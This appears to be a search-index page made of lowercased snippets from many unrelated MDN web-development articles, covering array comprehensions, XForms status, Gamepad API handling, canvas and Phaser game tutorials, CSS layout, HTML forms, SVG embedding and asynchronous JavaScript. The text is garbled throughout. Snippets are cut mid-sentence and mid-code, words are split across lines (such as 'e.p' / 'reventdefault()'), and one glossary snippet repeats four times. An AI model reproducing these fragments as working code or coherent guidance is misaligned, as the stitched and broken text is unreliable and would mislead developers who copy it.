reviously proposed to be standardized in ecmascript 2016, it provide a useful shortcut for constructing a new array based on the contents of another. comprehensions can often be used in place of calls to map() and filter(), or as a way of combining the two. the following comprehension takes an array of numbers and creates a new array of the double of each of those numbers. var numbers = [1, 2, 3, 4...
...generators can also be used. even strings may be used as input; to achieve the filter and map actions (under array-like objects) above: var str = 'abcdef'; var consonantsonlystr = [for (c of str) if (!(/[aeiouaeiou]/).test(c)) c].join(''); // 'bcdf' var interpolatedzeros = [for (c of str) c + '0' ].join(''); // 'a0b0c0d0e0f0' again, the input form is not preserved, so we have to use join() to
revert back to a string. examples simple array comprehensions [for (i of [1, 2, 3]) i * i ]; // [1, 4, 9] var abc = ['a', 'b', 'c']; [for (letters of abc) letters.tolowercase()]; // ["a", "b", "c"] array comprehensions with if statement var years = [1954, 1974, 1990, 2006, 2010, 2014]; [for (year of years) if (year > 2000) year]; // [2006, 2010, 2014] [for (year of years) if (year > 2000) if (y...
... ...
... ...
Implementation Status - Archive of obsolete content
ork. 292333; 3.4 extension module unsupported 300760; 3.5 mustunderstand module unsupported 300757; 4. processing model (events) section title status notes bugs 4 processing model (events) partial the xforms-recalculate, xforms-
revalidate, and xforms-refresh events are not as separated as they should be. 278448; 338146; 4.2 initialization events supported 4.2.1 xforms-model-construct supported 4.2.2 xforms-model-construct-done supported 4.2.3 xforms-ready suppo...
...ms-model-construct-done supported 4.2.3 xforms-ready supported 4.2.4 xforms-model-destruct supported 4.3.1 xforms-rebuild supported 4.3.2 xforms-recalculate supported 4.3.3 xforms-
revalidate supported 4.3.4 xforms-refresh supported 4.3.5 xforms-reset supported 4.3.6 xforms-next xforms-p
revious supported 4.3.7 xforms-focus supported 4.3.8 xforms-help xforms-hint...
...datatypes section title status notes bugs 5.1 xml schema built-in datatypes partial whitespace face...
...ported 10.9 rebuild partial is dispatching events instead of calling directly 332231; 10.10 recalculate partial is dispatching events instead of calling directly. recalculate won't properly mark nodes as dirty if they were changed using javascript interfaces. ...
Implementing controls using the Gamepad API - Game development
connected. querying the gamepad object beside connect() and disconnect(), there are two more methods in the gamepadapi object: update() and buttonpressed(). ...
...then it loops through buttons and axes to get their actual states and values. detecting button presses the buttonpressed() method is also placed in the main game loop to listen for button presses. it takes two parameters — the button we want to listen to and the (optional) way to tell the game that...
... var newpress = false; // loop through pressed buttons for(var i=0,s=gamepadapi.buttonsstatus.length; i<s; i++) { // if we found the button we're looking for... if(gamepadapi.buttonsstatus[i] == button) { // set the boolean variable to true newpress = true; // if we want to check the single press if(!hold) { // loop through the cached states from the p
revious frame for(var j=0,p=gamepadapi.buttonscache.length; j<p; j++) { // if the button was already pressed, ignore new press if(gamepadapi.buttonscache[j] == button) { newpress = false; } } } } } return newpress; }, there are two types of action to consider for a button: a single press and a hold. the newpress boolean variable...
...e press and a hold. the newpress boolean variable will indicate whether there's a new press of a button or not. next, we loop through the array of pressed buttons — if the given button is the same as the one we're looking for, the newpress variable is set to true. to check if the press is a new one, so the player is not holding the key, we loop through the cached states of the buttons from the p
revious frame of the game loop. if we find it there it means that the button is being held, so there's no new press. in the end the newpress variable is returned. the buttonpressed function is used in the update loop of the game like this: if(gamepadapi.turbo) { if(gamepadapi.buttonpressed('a','hold')) { this.turbo_fire(); } if(gamepadapi.buttonpressed('b')) { this.managepause(); } }...
Move the ball - Game development
technically, we will be painting the ball on the screen, clearing it and then painting it again in a slightly different position every frame to make the impression of movement — just like how movement works with the movies. defining a drawing loop to keep constantly updating the canvas drawing on each frame, we need to define a drawing function that will run over and over again, with a different set of variable values each time to change sprite positions, etc. ...
...tanimationframe(). delete all the javascript you currently have inside your html file except for the first two lines, and add the following below them. the draw() function will be executed within setinterval every 10 miliseconds: function draw() { // drawing code } setinterval(draw, 10); thanks to the infinite nature of setinterval the draw() function will be called every 10 milliseconds fo
rever, or until we stop it. now, let's draw the ball — add the following inside your draw() function: ctx.beginpath(); ctx.arc(50, 50, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); try your updated code now — the ball should be repainted on every frame. making it move you won't notice the ball being repainted constantly at the moment, as it's not moving. let's ch...
...tx.arc(x, y, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); x += dx; y += dy; } save your code again and try it in your browser. this works ok, although it appears that the ball is leaving a trail behind it: clearing the canvas before each frame the ball is leaving a trail because we're painting a new circle on every frame without removing the p
revious one. don't worry, because there's a method to clear canvas content: clearrect(). this method takes four parameters: the x and y coordinates of the top left corner of a rectangle, and the x and y coordinates of the bottom right corner of a rectangle. the whole area covered by this rectangle will be cleared of any content p
reviously painted there. add the following highlighted new line to the ...
...finished code for this article for yourself in the live demo below, and play with it to understand better how it works: exercise: try changing the speed of the moving ball, or the direction it moves in. next steps we've drawn our ball and gotten it moving, but it keeps disappearing off the edge of the canvas. in the third chapter we'll explore how to make it bounce off the walls. « p
reviousnext » ...
Build the brick field - Game development
« p
reviousnext » this is the 9th step out of 16 of the gamedev phaser tutorial. you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson09.html. building the brick field is a little bit more complicated than adding a single object to the screen, although it's still easier with phaser than in pure javascript. let's explore how to create a group of bricks and print them on screen using a loop. ...
...gamedev-phaser-content-kit/demos/lesson09.html. building the brick field is a little bit more complicated than adding a single object to the screen, although it's still easier with phaser than in pure javascript. let's explore how to create a group of bricks and print them on screen using a loop. defining new variables first, let's define the needed variables — add the following below your p
revious variable definitions: var bricks; var newbrick; var brickinfo; the bricks variable will be used to create a group, newbrick will be a new object added to the group on every iteration of the loop, and brickinfo will store all the data we need. rendering the brick image next, let's load the image of the brick — add the following load.image() call just below the others: function preload(...
...draw the bricks) and the padding between each row and column of bricks. now, let's start creating the bricks themselves — add an empty group first to contain the bricks, by adding the following line at the bottom of the initbricks() function: bricks = game.add.group(); we can loop through the rows and columns to create new brick on each iteration — add the following nested loop below the p
revious line of code: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { // create new brick and add it to the group } } this way we will create the exact number of bricks we need and have them all contained in a group. now we need to add some code inside the nested loop stucture to draw each brick. fill in the contents as shown below: for(c=0; c<brickin...
...ad index.html at this point, you should see the bricks printed on screen, at an even distance from one another. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps something is missing though. the ball goes through the bricks without stopping — we need proper collision detection. « p
reviousnext » ...
Player paddle and controls - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson07.html. we have the ball moving and bouncing off the walls, but it quickly gets boring — there's no interactivity! we need a way to introduce gameplay, so in this article we'll create a paddle to move around and hit the ball with. rendering the paddle from the framework point of view the paddle is very similar to the ball — we need to add a variable to represent it, load the relevant image asset, and then do the magic. ...
...reload your index.html at this point, the paddle is currently not exactly in the middle. why? because the anchor from which the position is calculated always starts from the top left edge of the object. we can change that to have the anchor in the middle of the paddle's width and at the bottom of it's height, so it's easier to position it against the bottom edge. add the following line below the p
revious new one: paddle.anchor.set(0.5,1); the paddle is now positioned right where we want it to be. now, to make it collide with the ball we have to enable physics for the paddle. continue by adding the following new line, again at the bottom of the create() function: game.physics.enable(paddle, phaser.physics.arcade); now the magic can start to happen — the framework can take care of check...
...dle); paddle.x = game.input.x; } now on every new frame the paddle's x position will adjust accordingly to the input's x position, however when we start the game, the position of the paddle is not in the middle. it's because the input position is not yet defined. to fix that we can set the default position (if an input position is not yet defined) to be the middle of the screen. update the p
revious line as follows: paddle.x = game.input.x || game.world.width*0.5; if you haven't already done so, reload your index.html and try it out! position the ball we have the paddle working as expected, so let's position the ball on it. it's very similar to positioning the paddle — we need to have it placed in the middle of the screen horizontally and at the bottom vertically with a little off...
... of the paddle. ...
Plug-in Development Overview - Gecko Plugin API Reference
a basic overview of the plug-in development process is given in the following steps. plan your plug-in: decide on the services you want the plug-in software to provide and how it will interact with the browser and the special media for which the plug-in is created. decide the mime type for the plug-in (see registering plug-ins). set up your development environment properly. you can use a variety of environments to create a plug-in, but make sure that you have the necessary files from the plugin sdk. create a plug-in project. write your plug-in code and implement the appropriate plug-in api methods for basic plug-in operation. ...
... string 5 image/jpeg string 6 jpg several other optional strings may contain useful information about the plug-in. plug-ins must support 'str#' 128 but are not required to support any of these others: str#' 127 can contain a list of mime type descriptions corresponding to the types in 'str#' 128 . for example, this description list corresponds to the types in the p
revious example: string 1: "quicktime video", string 4: "aiff audio", and string 5: "jpeg image format." str#' 126: string 1 can contain a descriptive message about the plug-in. this message, which is in html format, is displayed by the browser in its "about plug-ins" page. string 2 can contain the name of the plug-in, thus allowing the name the user sees to be different from the name of the file...
...data becomes available. random-access mode: the browser allows the plug-in to request specific ranges of bytes from anywhere in the stream. this mode requires server support. file mode: the browser saves the data to a local file in cache and passes that file path to the plug-in. streams produced by the plug-in to send to the browser are like normal-mode streams produced by the browser, but in
reverse. in the browser's normal-mode streams, the browser calls the plug-in to inform it that the stream was created and to push more data. in streams produced by the plug-in, by contrast, the plug-in calls netscape functions to create a stream, push data into it, and delete it. working with urls the plug-in api provides methods that plug-ins can use to retrieve data from or post data to a url any...
...table. see the wikipedia article for historical information. both technologies are now obsolete for the purposes of plug-in scriptability, and the cross-browser npruntime api should be used instead. see the scripting plugins section of this reference for the details. building plug-ins once you have added the special code and additional files to make your plug-in scriptable as described in the p
revious section, the build process is quite straightforward. in addition to the dll that goes in the plugins folder, you must also place a type library and an extra header file in the appropriate places in your application directory. this section describes those extra scriptability steps in more detail. building, platforms, and compilers the header files and some basic examples for npapi plugins ar...
Main Axis - MDN Web Docs Glossary: Definitions of Web-related terms
on the main axis you can control the sizing of flex items by adding any available space to the items themselves, by way of flex properties on the items. ...
... on the main axis you can control the sizing of flex items by adding any available space to the items themselves, by way of flex properties on the items. ...
... on the main axis you can control the sizing of flex items by adding any available space to the items themselves, by way of flex properties on the items. ...
... on the main axis you can control the sizing of flex items by adding any available space to the items themselves, by way of flex properties on the items. ...
Accessible multimedia - Learn web development
this article shows how. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of what accessibility is. objective: to understand the accessibility issues behind multimedia, and how to overcome them. ...
... before moving onto creating our button functionality, let's remove the native controls so they don't get in the way of our custom controls. add the following, aga...
...ple with access to audio content, you really need to create text transcripts. these can either be included on the same page as the audio in some way, or included on a separate page and linked to. in terms of actually creating the transcript, your options are: commercial services — you could pay a professional to do the transcription, see for example companies like scribie, casting words, or
rev. look around and ask advice to make sure you find a reputable company that you'll be able to work with effectively. community/grass roots/self transcription — if you are part of an active community or team in your workplace, then you could ask them for help with doing the translations. you could even have a go at doing them yourself. automated services — there are ai services available, lik...
...ssessments available in our html multimedia and embedding module that test your knowledge of the information presented here. if you haven't already, go and try out the assessments at test your skills: html images and test your skills: multimedia and embedding. ...
Styling tables - Learn web development
this article provides a guide to making html tables look good, with some specific table styling techniques highlighted. prerequisites: html basics (study introduction to html), knowledge of html tables, and an idea of how css works (study css first steps.) objective: to learn how to effectively style html tables. a typical html table let's start by looking at a typical html table. well, i say typical — most html table examples are about shoes, or the weather, or employees; we decided to make things more interesting by making it about famous punk bands from the uk. ...
...ms</th> <th scope="col">most famous song</th> </tr> </thead> <tbody> <tr> <th scope="row">buzzcocks</th> <td>1976</td> <td>9</td> <td>ever fallen in love (with someone you shouldn't've)</td> </tr> <tr> <th scope="row">the clash</th> <td>1976</td> <td>6</td> <td>london calling</td> </tr> ... ...
...like; you'll just have to replace our provided <link> element and custom font-family declaration with the ones google fonts gives you. ...
...fore you move on — see test your skills: tables. summary with styling tables now behind us, we need something else to occupy our time. the next article explores debugging css — how to solve problems such as layouts not looking like they should, or properties not applying when you think they should. this includes information on using browser devtools to find solutions to your problems. ...
Floats - Learn web development
with the advent of flexbox and grid it has now returned to its original purpose, as this article explains. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how to create floated features on webpages, and to use the clear property and other methods of clearing floats. ...
...rmal layout flow of the document and stuck to the left-hand side of its parent container (<body>, in this case). any content that comes below the floated element in the normal layout flow will now wrap around it, filling up the space to the right-hand side of it as far up as the top of the floated element. there, it will stop. floating the content to the right has exactly the same effect, but in
reverse — the floated element will stick to the right, and the content will wrap around it to the left. try changing the float value to right and replace margin-right with margin-left in the last ruleset to see what the result is. while we can add a margin to the float to push the text away, we can't add a margin to the text to move it away from the float. this is because a floated element is take...
...around the float, but due to the float being removed from normal flow the box around the paragraph still remains full width. clearing floats we have seen that the float is removed from normal flow and that other elements will display beside it, therefore if we want to stop the following element from moving up we need to clear it; this is achieved with the clear property. in your html from the p
revious example, add a class of cleared to the second paragraph below the floated item. then add the following to your css: .cleared { clear: left; } float example 3 <h1>simple float example</h1> <div class="box">float</div> <p class="special">lorem ipsum dolor sit amet, consectetur adipiscing elit. nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> <p class="cleared">du...
...important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: floats. summary you now know all there is to know about floats in modern web development. ...
Positioning - Learn web development
this article explains the different position values, and how to use them. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how css positioning works. we'd like you to follow along with the exercises on your local computer, if possible — grab a copy of 0_basic-flow.html from our github repo (source code here) and use that as a starting point. ...
...low the original .positioned paragraph, where the two overlap. this is because the .positioned paragraph is the second paragraph in the source order, and positioned elements later in the source order win over positioned elements earlier in the source order. can you change the stacking order? yes, you can, by using the z-index property. "z-index" is a reference to the z-axis. you may recall from p
revious points in the course where we discussed web pages using horizontal (x-axis) and vertical (y-axis) coordinates to work out positioning for things like background images and drop shadow offsets. (0,0) is at the top left of the page (or element), and the x- and y-axes run across to the right and down the page (for left to right languages, anyway.) web pages also have a z-axis: an imaginary line...
... <dt>e</dt> <dd>egg</dd> <dd>elephant</dd> <dd>egret</dd> </dl> the css might look as follows. in normal flow the <dt> elements will scroll with the content. when we add position: sticky to the <dt> element, along with a top value of 0, supporting browsers will stick the headings to the top of the viewport as they reach that position. each subsequent header will then replace the p
revious one as it scrolls up to that position. dt { background-color: black; color: white; padding: 10px; position: sticky; top: 0; left: 0; margin: 1em 0; } body { width: 500px; height: 1400px; margin: 0 auto; } dt { background-color: black; color: white; padding: 10px; position: sticky; top: 0; left: 0; margin: 1em 0; } <h1>sticky positioning</h1> <dl> ...
...d the end of this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: positioning. summary i'm sure you had fun playing with basic positioning; while it is not a method you would use for entire layouts, as you can see there are many tasks it is suited for. p
revious overview: css layout next ...
Practical positioning examples - Learn web development
red functionality. general setup to begin with, add the following between your opening and closing <style> tags: html { font-family: sans-serif; } * { box-sizing: border-box; } body { margin: 0; } this is just some general setup to set a sans-serif font on our page, use the border-box box-sizing model, and get rid of the default <body> margin. next, add the following just below your p
revious css: .info-box { width: 450px; height: 400px; margin: 0 auto; } this sets a specific width and height on the content, and centers it on the screen using the old margin: 0 auto trick. p
reviously in the course we advised against setting a fixed height on content containers if at all possible; it is ok in this circumstance because we have fixed content in our tabs. it also looks a bit ja...
...d height on content containers if at all possible; it is ok in this circumstance because we have fixed content in our tabs. it also looks a bit jarring to have different tabs at different heights. styling our tabs now we want to style tabs to look like tabs — basically, these are a horizontal navigation menu, but instead of loading different web pages when they are clicked on like we've seen p
reviously in the course, they cause different panels to be displayed on the same page. first, add the following rule at the bottom of your css to remove the default padding-left and margin-top from the unordered list: .info-box ul { padding-left: 0; margin-top: 0; } note: we are using descendant selectors with .info-box at the start of the chain throughout this example — this is so that we c...
... info panel instead of the useful content. our finished example will look like this: note: you can see the finished example running live at hidden-info-panel.html (source code). check it out to get an idea of what you will be building in this section of the article. as a starting point, make a local copy of hidden-info-panel-start.html from our github repo. this doesn't follow on from the p
revious example, so a fresh start file is required. let's have a look at the html in the file: <label for="toggle">❔</label> <input type="checkbox" id="toggle"> <aside> ... </aside> to start with here we've got a <label> element and an <input> element — <label> elements are normally used to associate a text label with a form element for accessibility purposes (allowing a screen user to see ...
...fect of <label> elements is that you can click a checkbox's label to check the checkbox, as well as just the checkbox itself. this has led to the well-known checkbox hack, which provides a javascript-free way of controlling an element by toggling a button. the element we'll be controlling is the <aside> element that follows the other two (we've left its contents out of the above code listing for b
revity). in the below sections we'll explain how this all works. styling the form elements first let's deal with the form elements — add the following css in between your <style> tags: label[for="toggle"] { font-size: 3rem; position: absolute; top: 4px; right: 5px; z-index: 1; cursor: pointer; } input[type="checkbox"] { position: absolute; top: -100px; } the first rule styles ...
Responsive design - Learn web development
if the user had a larger or smaller screen than the designer expected, results ranged from unwanted scrollbars to overly long line lengths, and poor use of space. as more diverse screen sizes became available, the concept of responsive web design (rwd) appeared, a set of practices that allows web pages to alter their layout and appearance to suit different screen widths, resolutions, etc. it is an idea that changed the way we design for a multi-device web, and in this article, we'll help you understand the main techniques you need to know to master it. ...
...r if their containing column became narrower than the image's intrinsic size, but never grow larger. this enables an image to scale down to fit in a flexibly-sized column, rather than overflow it, but not grow larger and become pixellated if the column becomes wider than the image. the third key component was the media query. media queries enable the type of layout switch that cameron adams had p
reviously explored using javascript, using only css. rather than having one layout for all screen sizes, the layout could be changed. sidebars could be repositioned for the smaller screen, or alternate navigation could be displayed. it is important to understand that responsive web design isn't a separate technology — it is a term used to describe an approach to web design or a set of best practi...
...e of html in the head of your documents. there are other settings you can use with the viewport meta tag, however in general the above line is what you will want to use. initial-scale: sets the initial zoom of the page, which we set to 1. height: sets a specific height for the viewport. minimum-scale: sets the minimum zoom level. maximum-scale: sets the maximum zoom level. user-scalable: p
revents zooming if set to no. you should avoid using minimum-scale, maximum-scale, and in particular setting user-scalable to no. users should be allowed to zoom as much or as little as they need to; p
reventing this causes accessibility problems. note: there is a css @ rule designed to replace the viewport meta tag — @viewport — however, it has poor browser support. when both are used the met...
... if you are new to web development today you have many more tools at your disposal than in the early days of responsive design. it is therefore worth checking the age of any materials you are referencing. ...
Styling links - Learn web development
we'll look at all these topics in this article. prerequisites: basic computer literacy, html basics (study introduction to html), css basics (study introduction to css), css text and font fundamentals. objective: to learn how to style link states, and how to use links effectively in common ui features like navigation menus. let's look at some links we looked at how links are implemented in your html according to best practices in creating hyperlinks. ...
...fficient to use relative links to link to other parts of your own site (as with the first link). the text "http" should therefore only appear in external links (like the second and third ones), and we can select this with an attribute selector: a[href*="http"] selects <a> elements, but only if they have an href attribute with a value that contains "http" somewhere inside it. so that's it — try
revisiting the active learning section above and trying this new technique out! note: the href values look strange — we've used dummy links here that don't really go anywhere. the reason for this is that if we used real links, you would be able to load an external site in the <iframe> the live example is embedded in, thereby losing the example. note: don't worry if you are not familiar with ba...
...ng that they will sit on their own lines. in this case, we are creating a horizontal list of links, so in the third rule we set the display property to inline, which causes the list items to sit on the same line as one another — they now behave like inline elements. the fourth rule — which styles the <a> element — is the most complicated here; let's go through it step by step: as in p
revious examples, we start by turning off the default text-decoration and outline — we don't want those spoiling our look. next, we set the display to inline-block — <a> elements are inline by default and, while we don't want them to spill onto their own lines like a value of block would achieve, we do want to be able to size them. inline-block allows us to do this. now onto the sizing! we ...
...munity school homepage. this assessment tests all the knowledge discussed in this module, so you might want to read the next article before moving on to it. ...
The HTML5 input types - Learn web development
now we'll look at the functionality of newer form controls in detail, including some new input types, which were added in html5 to allow collection of specific types of data. prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand the newer input type values available to create native form controls, and how to implement them using html. note: most of the features discussed in this article have wide support across browsers. we'll note any exceptions. ...
... below 10. date and time pickers gathering date and time values has traditionally been a nightmare for web developers. for good user experience, it is important to provide a calendar selection ui, enabling users to select dates without necessating context switching to a native calendar application or potentially entering them in differing formats that are hard to parse. the last minute of the p
revious millenium can be expressed in the following different ways, for example: 1999/12/31, 23:59 or 12/31/99t11:59pm. html date controls are available to handle this specific kind of data, providing calendar widgets and making the data uniform. a date and time control is created using the <input> element and an appropriate value for the type attribute, depending on whether you wish to collect dat...
...mat, the value returned is in 24-hour format. <input type="time" name="time" id="time"> week <input type="week"> creates a widget to display and pick a week number and its year. weeks start on monday and run to sunday. additionally, the first week 1 of each year contains the first thursday of that year—which may not include the first day of the year, or may include the last few days of the p
revious year. <input type="week" name="week" id="week"> constraining date/time values all date and time controls can be constrained using the min and max attributes, with further constraining possible via the step attribute (whose value varies according to input type). <label for="mydate">when are you available this summer?</label> <input type="date" name="mydate" min="2013-06-01" max="2013-08-31...
...rther tests to verify that you've retained this information before you move on — see test your skills: html5 controls. summary that brings us to the end of our tour of the html5 form input types. there are a few other control types that cannot be easily grouped together due to their very specific behaviors, but which are still essential to know about. we cover those in the next article. ...
Styling web forms - Learn web development
in this article we will move on to looking at how to use css to style your form controls. this has historically been difficult — form controls vary greatly in how easy they are to customize with css — but it is getting easier as old browsers are retired and modern browsers give us more features to use. prerequisites: basic computer literacy, and a basic understanding of html and css. objective: to understand the issues behind styling forms, and learn some of the basic styling techniques that will be useful to you. ...
...ontrol placement of it. by default it is always positioned over the top border of its <fieldset> parent, near the top left corner. to position it somewhere else, for example inside the fieldset somewhere, or near the bottom left corner, you need to rely on positioning. ...
...te, we need to adjust the display of the single and multiple line text fields to match, since they won't typically look the same using the defaults. tweaking the textareas <textarea> elements default to being rendered as an inline-block element. the two important things here are the resize and overflow properties. while our design is a fixed-size design, and we could use the resize property to p
revent users from resizing our multi-line text field, it is best to not p
revent users from resizing a textarea if they so choose. the overflow property is used to make the field render more consistently across browsers. some browsers default to the value auto, while some default to the value scroll. in our case, it's better to be sure every one will use auto: textarea { display : block; padding...
... information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: styling basics. summary as you can see, as long as we want to build forms with just text fields and buttons, it's easy to style them using css. in the next article, we will see how to handle form widgets which fall into the "bad" and "ugly" categories. ...
HTML basics - Learn web development
for example, content could be structured within a set of paragraphs, a list of bulleted points, or using images and data tables. as the title suggests, this article will give you a basic understanding of html and its functions. so what is html? html is not a programming language; it is a markup language that defines the structure of your content. html consists of a series of elements, which you use to enclose, or wrap, different parts of the content to make it appear a certain way, or act a certain way. ...
...ppear in the actual content. here, class is the attribute name and editor-note is the attribute value. the class attribute allows you to give the element a non-unique identifier that can be used to target it (and any other elements with the same class value) with style information and other things. an attribute should always have the following: a space between it and the element name (or the p
revious attribute, if the element already has one or more attributes). the attribute name followed by an equal sign. the attribute value wrapped by opening and closing quotation marks. note: simple attribute values that don't contain ascii whitespace (or any of the characters " ' ` = < > ) can remain unquoted, but it is recommended that you quote all attribute values, as it makes the code more ...
...is no closing </img> tag and no inner content. this is because an image element doesn't wrap content to affect it. its purpose is to embed an image in the html page in the place it appears. anatomy of an html document that wraps up the basics of individual html elements, but they aren't handy on their own. now we'll look at how individual elements are combined to form an entire html page. let's
revisit the code we put into our index.html example (which we first met in the dealing with files article): <!doctype html> <html> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <img src="images/firefox-icon.png" alt="my test image"> </body> </html> here, we have the following: <!doctype html> — the doctype. it is required preamble. in the mists of...
...ou haven't already done so. ...
Adding vector graphics to the Web - Learn web development
in this article we'll show you how to include one in your webpage. prerequisites: you should know the basics of html and how to insert an image into your document. objective: learn how to embed an svg (vector) image into a webpage. note: this article doesn't intend to teach you svg; just what it is, and how to add it to web pages. ...
...e anything outside those.) here's a very simple example of what you might paste into your document: <svg width="300" height="200"> <rect width="100%" height="100%" fill="green" /> </svg> pros putting your svg inline saves an http request, and therefore can reduce a bit your loading time. you can assign classes and ids to svg elements and style them with css, either within the svg or whe
rever you put the css style rules for your html document. in fact, you can use any svg presentation attribute as a css property. inlining svg is the only approach that lets you use css interactions (like :focus) and css animations on your svg image (even in your regular stylesheet.) you can make svg markup into a hyperlink by wrapping it in an <a> element. cons this method is only suitable if ...
...g still download any fallback images. you need to weigh whether the extra overhead is really worthwhile, just to support obsolescent browsers. how to embed an svg with an <iframe> you can open svg images in your browser just like webpages. so embedding an svg document with an <iframe> is done just like we studied in from <object> to <iframe> — other embedding technologies. here's a quick
review: <iframe src="triangle.svg" width="500" height="500" sandbox> <img src="triangle.png" alt="triangle with three unequal sides" /> </iframe> this is definitely not the best method to choose: cons iframes do have a fallback mechanism, as you can see, but browsers only display the fallback if they lack support for iframes altogether. moreover, unless the svg and your current webpage hav...
...value = userentry; solution.value = 'show solution'; } updatecode(); }); const htmlsolution = ''; let solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back;...
Video and audio content - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting started with html) and images in html. objective: to learn how to embed video and audio content into a webpage, and add captions/subtitles to video. ...
...g multiple source formats to improve compatibility there's a problem with the above example, which you may have noticed already if you've tried to access the live link above with an older browser like internet explorer or even an older version of safari. the video won't play, because different browsers support different video (and audio) formats. fortunately, there are things you can do to help p
revent this from being a problem. contents of a media file first, let's go through the terminology quickly. formats like mp3, mp4 and webm are called container formats. they define a structure in which the audio and/or video tracks that make up the media are stored, along with metadata describing the media, what codecs are used to encode its channels, and so forth. a webm file containing a movie w...
...e of those patents, browsers that wish to implement support for those codecs must pay typically enormous license fees. in addition, some people simply prefer to avoid restricted software and prefer to use only open formats. due to these legal and preferential reasons, web developers find themselves having to support multiple formats to capture their entire audience. the codecs described in the p
revious section exist to compress video and audio into manageable files, since raw audio and video are both exceedingly large. each web browser supports an assortment of codecs, like vorbis or h.264, which are used to convert the compressed audio and video into binary data and back. each codec offers its own advantages and drawbacks, and each container may also offer its own positive and negative fea...
...to display controls to play the audio. other differences from html video are as follows: the <audio> element doesn't support the width/height attributes — again, there is no visual component, so there is nothing to assign a width or height to. it also doesn't support the poster attribute — again, no visual component. other than this, <audio> supports all the same features as <video> —
review the above sections for more information about them. restarting media playback at any time, you can reset the media to the beginning—including the process of selecting the best media source, if more than one is specified using <source> elements—by calling the element's load() method: const mediaelem = document.getelementbyid("my-media-element"); mediaelem.load(); detecting track additio...
General asynchronous programming concepts - Learn web development
appendchild(pelem); }); when running the example, open your javascript console then click the button — you'll notice that the paragraph does not appear until after the dates have finished being calculated and the console message has been logged. the code runs in the order it appears in the source, and the later operation doesn't run till the earlier operation has finished running. note: the p
revious example is very unrealistic. you would never calculate 10 million dates on a real web app! it does, however, serve to give you the basic idea. in our second example, simple-sync-ui-blocking.html (see it live), we simulate something slightly more realistic that you might come across on a real page. we block user interactivity with the rendering of the ui. in this example, we have two buttons...
...at you can run multiple javascript chunks simultaneously. you'd generally use a worker to run expensive processes off the main thread so that user interaction is not blocked. main thread: task a --> task c worker thread: expensive task b with this in mind, have a look at simple-sync-worker.html (see it running live), again with your browser's javascript console open. this is a rewrite of our p
revious example that calculates the 10 million dates in a separate worker thread. now when you click the button, the browser is able to display the paragraph before the dates have finished calculating. the first operation no longer blocks the second. asynchronous code web workers are pretty useful, but they do have their limitations. a major one is they are not able to access the dom — you can't ...
...hey are not able to access the dom — you can't get a worker to directly do anything to update the ui. we couldn't render our 1 million blue circles inside our worker; it can basically just do the number crunching. the second problem is that although code run in a worker is not blocking, it is still basically synchronous. this becomes a problem when a function relies on the results of multiple p
revious processes to function. consider the following thread diagrams: main thread: task a --> task b in this case, let's say task a is doing something like fetching an image from the server and task b then does something to the image like applying a filter to it. if you start task a running and then immediately try to run task b, you'll get an error, because the image won't be available yet. ma...
...ing another operation: main thread: task a task b promise: |__async operation__| since the operation is happening somewhere else, the main thread is not blocked while the async operation is being processed. we'll start to look at how we can write asynchronous code in the next article. exciting stuff, huh? keep reading! conclusion modern software design increasingly
revolves around using asynchronous programming, to allow programs to do more than one thing at a time. as you use newer and more powerful apis, you'll find more cases where the only way to do things is asynchronously. it used to be hard to write asynchronous code. it still takes getting used to, but it's gotten a lot easier. in the rest of this module, we'll explore further why asynchronous code matt...
Function return values - Learn web development
some functions don't return a significant value, but others do. it's important to understand what their values are, how to use them in your code, and how to make functions return useful values. we'll cover all of these below. prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps, functions — reusable blocks of code. objective: to understand function return values, and how to make use of them. what are return values? return values are just what they sound like — the values that a function returns when it has completed. ...
...cks of code. objective: to understand function return values, and how to make use of them. what are return values? return values are just what they sound like — the values that a function returns when it has completed. you've already met return values a number of times, although you may not have thought about them explicitly. ...
...s (finishes running), it returns a value, which is a new string with the replacement made. in the code above, the result of this return value is saved in the variable newstring. if you look at the replace() function mdn reference page, you'll see a section called return value. it is very useful to know and understand what values are returned by functions, so we try to include this information whe
rever possible. some functions don't return any value. (in these cases, our reference pages list the return value as void or undefined.) for example, in the displaymessage() function we built in the p
revious article, no specific value is returned when the function is invoked. it just makes a box appear somewhere on the screen — that's it! generally, a return value is used where the function is a...
...d. this way, your program will be less likely to throw errors. think about the idea of creating a function library. as you go further into your programming career, you'll start doing the same kinds of things over and over again. it is a good idea to create your own library of utility functions to do these sorts of things. you can copy them over to new code, or even just apply it to html pages whe
rever you need it. test your skills! you've reached the end of this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: functions. conclusion so there we have it — functions are fun, very useful, and although there's a lot to talk about in regards to their synt...
Object building practice - Learn web development
in this article we dive into a practical exercise, giving you some more practice in building custom javascript objects, with a fun and colorful result. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks) and oojs basics (see introduction to objects). objective: to get some practice with using objects and object-oriented techniques in a real world context. ...
